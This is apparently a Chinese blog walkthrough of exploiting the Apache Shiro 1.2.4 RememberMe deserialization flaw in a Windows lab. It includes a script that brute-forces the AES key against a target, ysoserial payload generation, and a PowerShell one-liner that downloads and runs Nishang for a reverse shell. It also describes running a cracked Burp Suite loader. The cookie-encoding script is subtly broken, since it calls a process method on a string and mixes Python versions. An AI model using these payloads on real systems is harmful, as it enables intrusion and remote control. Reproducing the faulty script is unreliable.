美文网首页
Windows下Shiro反序列化漏洞RCE

Windows下Shiro反序列化漏洞RCE

作者: 走错说爱你 | 来源:发表于2021-09-26 11:34 被阅读0次

    Shiro 是一个功能强大和易于使用的Java安全框架,为开发人员提供一个直观而全面的解决方案的认证,授权,加密,会话管理。然而,在shiro<=1.2.4的版本中,存在严重的反序列化漏洞,这里对其攻击过程做个记录。

    环境

    攻击机和靶机均为不出网的内网Windows主机

    攻击机:

    • Windows 10
    • Burpsuit
    • ysoserial
    • jdk 1.8
    • maven
    • Python 3

    靶机:

    • Windows 10
    • Tomcat 8.5.71
    • jdk 1.8

    背景&原理

    相关概念

    • 序列化:把Java对象转换为字节序列的过程,可以有效的实现多平台之间的通信、对象持久化存储。
    • 反序列化:把字节序列恢复为Java对象的过程。
    • 反序列化漏洞:当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。

    漏洞原理

    Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码-->AES解密-->反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化-->AES加密-->Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

    这里我们可以通过eclipsejd-gui对shiro的源码jar包(在后文环境搭建处有下载链接,解压之后的WEB-INF->lib->shiro-core-1.2.4.jar)进行查看(依次点开org.apache.shiro->mgt->AbstractRememberMeManager.class),不难看出这里密钥固定为kPH+bIxk5D2deZiIxcaaaA==

    密钥硬编码

    环境搭建

    因为实验机均为不出网的内网主机,因此,本文摒弃了docker的安装方式,采用手动搭建来构建实验所需环境。所有的下载和打包操作均在外网主机完成后拷贝至内网。

    jdk安装

    需要在攻击机和靶机上均安装jdk

    1. 网站下载jdk,并双击安装:
      下载jdk
    1. 安装完成之后win+e打开文件夹,在此电脑处右键单击,选择属性

      属性
    2. 依次点击高级系统设置->环境变量->新建

      环境变量
    3. 新建环境变量JAVA_HOME,值为你的jdk安装路径,我这里为C:\Program Files\Java\jdk1.8.0_301

      新建环境变量
    4. 在系统变量中找到Path变量,选中,点击编辑:

      编辑Path变量
    5. 在弹出的对话框中右上角点击新建,粘贴jdk的安装路径,然后点击依次点击确定,直到所有对话框关闭即可

    6. win+r之后输入cmd回车打开命令行窗口,输入命令java -version`查看是否安装成功:

      安装成功

    shiro安装

    在靶机上安装shiro:

    1. 这里是直接下载shiro的war包,提取码:lorz

    2. 官网下载Tomcat:

      Tomcat下载
    3. 下载完成后解压至你想要安装的文件夹即可

    4. 将下载好的shirowar包解压至Tomcat内的webapps目录,并重命名为shiro

      解压并重命名
    5. 进入Tomcatbin目录,在此创建cmd窗口:

      bin目录
    6. 输入命令startup.bat启动Tomcat(双击也可以启动,但看不到报错信息,推荐用这种方式启动)(注意,8080端口不能被占用,否则启动失败):

      启动Tomcat
    7. 然后就能看到另一个名为Tomcat的窗口启动:

      Tomcat启动成功
    8. 在浏览器输入127.0.0.1:8080/shiro/查看是否能够显示界面,看到如下界面表示shiro部署成功:

      shiro成功部署

    maven安装

    在攻击机上安装maven:

    1. 官网下载maven:

      下载maven
    2. 下载完成后解压至你想要安装的目录

    3. 安装上面jdk的配置步骤,新建环境变量MAVEN_HOME,值为安装路径

    4. 编辑Path变量,新增条目:maven安装路径/bin/

    5. 打开cmd窗口,输入mvn -v验证是否安装成功:

      安装成功

    ysoserial安装

    1. 官网下载ysoserial

      下载
    2. 解压,然后在源码根目录下打开cmd窗口,运行命令mvn package -DskipTests打包源码为jar包:

      打包
    3. 打包完成之后会在当前生成一个target文件夹,文件夹内就有我们需要的jar包:

      打包完成

    burpsuit安装:

    1. 下载burp loader,提取码:orzH
    2. 解压,双击BurpSuiteLoader.jar
      双击
    3. 点击右侧run
      run
      然后在弹出来的对话框内点击next,然后分别将requestresponse复制粘贴进loader里:
      破解
    4. 以后每次加载burp都需要先打开loader,再点击run运行

    至此,所有环境搭建完毕

    攻击实施

    密钥判断

    因为shiro 1.2.4及其以前的版本是直接将密钥硬编码写进代码里,才导致了该漏洞,因此要实施攻击,首先需要判断密钥。
    这里直接使用脚本进行判断(需要有Python3环境):

    D:\Users\User\Desktop>python key_exp.py
    正确key:kPH+bIxk5D2deZiIxcaaaA==
    

    脚本key_exp.py内容为:

    import base64
    import uuid
    import requests
    from Crypto.Cipher import AES
    
    def encrypt_AES_GCM(msg, secretKey):
        aesCipher = AES.new(secretKey, AES.MODE_GCM)
        ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
        return (ciphertext, aesCipher.nonce, authTag)
    
    def encode_rememberme(target):
        keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ==']     # 此处简单列举几个密钥
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        mode = AES.MODE_CBC
        iv = uuid.uuid4().bytes
    
        file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
        for key in keys:
            try:
                # CBC加密
                encryptor = AES.new(base64.b64decode(key), mode, iv)
                base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
                res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
                if res.headers.get("Set-Cookie") == None:
                    print("正确KEY :" + key)
                    return key
                else:
                    if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                        print("正确key:" + key)
                        return key
                # GCM加密
                encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
                base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
                res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)
    
                if res.headers.get("Set-Cookie") == None:
                    print("正确KEY:" + key)
                    return key
                else:
                    if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                        print("正确key:" + key)
                        return key
                print("正确key:" + key)
                return key
            except Exception as e:
                print(e)
    encode_rememberme("http://靶机IP:8080/shiro/")
    

    注意使用之前需要配置靶机ip
    该脚本的核心思想是使用shiro的常用密钥按照其编码加密方式对靶机进行爆破,当靶机返回的响应头的Set-Cookie字段含有rememberMe=deleteMe;的cookie时,即密钥正确

    利用链判断

    shiro有多个利用链,可能是:"CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Spring1","Spring2","Jdk7u21","ROME","Clojure"等,因此,需要判断哪条利用链可用,这里使用大佬编写的脚本判断(当然也可以每个利用链都试试啦)

    这里可以直接删掉代码里其他密钥,只留我们上文判断出来的密钥即可,可节省时间,提高效率

    运行命令:

    python shiro-1.2.4-rce.py http://靶机ip:8080/shiro/
    

    最终判断目标shiro的利用链为CommonsCollections2

    payload生成

    在上文打包的ysoserial-0.0.6-SNAPSHOT-all.jar目录处运行命令:

    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "calc.exe" > test.ser
    

    其中的利用链填写刚刚判断出的利用链名称,利用链后填写想要执行的命令,这里执行的命令为打开电脑计算器,也可以将命令换成"powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 监听地址ip -port 9999"直接反弹powershell

    会在当前目录生成test.ser文件,然后在当前目录新建脚本文件shiro.py,内容为:

    import sys
    import uuid
    import base64
    import subprocess
    from Crypto.Cipher import AES
    def encode_rememberme():
        with open("test.ser", "r") as f:
            popen = f.read()
            BS = AES.block_size
            pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
            key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
            iv = uuid.uuid4().bytes
            encryptor = AES.new(key, AES.MODE_CBC, iv)
            file_body = pad(popen.stdout.read())
            base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
            return base64_ciphertext
    if __name__ == '__main__':
        payload = encode_rememberme()
    print "rememberMe={0}".format(payload.decode())
    

    在当前目录运行cmd命令:

    python shiro.py 
    

    即可看到生成的payload:


    生成payload

    选中输出的所有字符,按住ctrl+shif+c复制

    打开burp,在burp的浏览器里输入http://靶机ip:8080/shiro/进行访问,点击登录,随意使用页面提供的任意账号密码,点击remember me登录:

    登录

    使用burp进行抓包,将抓到的数据发送到repeater。在repeater中,在请求头中的cookie字段中粘贴刚刚复制的payload,点击send
    (此处应有图)

    然后就可以看到靶机弹出了计算器,RCE成功:


    靶机命令执行成功

    参考链接

    相关文章

      网友评论

          本文标题:Windows下Shiro反序列化漏洞RCE

          本文链接:https://www.haomeiwen.com/subject/tcqqnltx.html